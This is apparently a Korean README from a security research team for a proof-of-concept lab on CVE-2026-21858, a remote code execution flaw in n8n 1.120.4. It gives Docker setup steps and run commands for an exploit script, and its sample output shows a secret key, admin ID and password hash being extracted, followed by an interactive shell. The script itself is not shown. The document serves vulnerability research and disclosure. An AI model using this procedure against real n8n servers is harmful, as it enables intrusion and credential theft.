CVE-2026-21858 RCE

Form Trigger 워크플로와 익스플로잇 스크립트를 포함한 n8n 1.120.4용 PoC 환경입니다.

요구 사항

• Docker (Windows의 경우 Docker Desktop)
• Python 3.x (공격 측)

파일

• Dockerfile — 취약한 n8n 환경 빌드
• run.bat — 컨테이너 실행 (Windows)
• workflow.txt — n8n 워크플로 (Form Trigger 포함)
• poc.py — PoC 스크립트
• requirements.txt — PoC 의존성

환경 설정

1. Docker 이미지 빌드

docker build -t n8n-vuln:1.120.4 .

2. 환경 실행 (Windows)

run.bat

3. n8n 구성

1. 브라우저에서 n8n 열기
2. admin으로 로그인
3. 새 워크플로 생성
4. workflow.txt 붙여넣기
5. 워크플로 활성화
6. Form Trigger URL 복사

개념 증명 (PoC)

1. 의존성 설치 (공격 측)

pip3 install -r requirements.txt

2. 익스플로잇 실행

python3 poc.py

• 프롬프트가 표시되면 Form Trigger URL을 붙여넣으세요.

기대 결과

• PoC가 대상으로부터 민감한 n8n 자산(예: FINAL_SECRET_KEY, 관리자 식별자)을 추출합니다.
• 대화형 셸 프롬프트(n8n-shell>)가 제공됩니다.
• 명령(예: id) 실행 시 대상 환경의 출력이 반환됩니다 (RCE).

샘플 출력

[+] Success: SECRET_KEY = "..."
[+] Success: admin_id = "..."
[+] Success: admin_hash = "..."

=== n8n Shell Ready ===
n8n-shell> id

[!] 'id' Result:
------------------------------
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
------------------------------

EQST 인사이트

CVE 및 악성코드 분석을 월 1회 게시합니다. 관심이 있으시면 아래 링크를 통해 발행물을 확인해 주세요.

• KR : https://www.skshieldus.com/security-insights/reports/n8n_arbitrary_file_read_vulnerability_cve_2026_21858
• EN : https://www.skshieldus.com/en/report?tab=eqst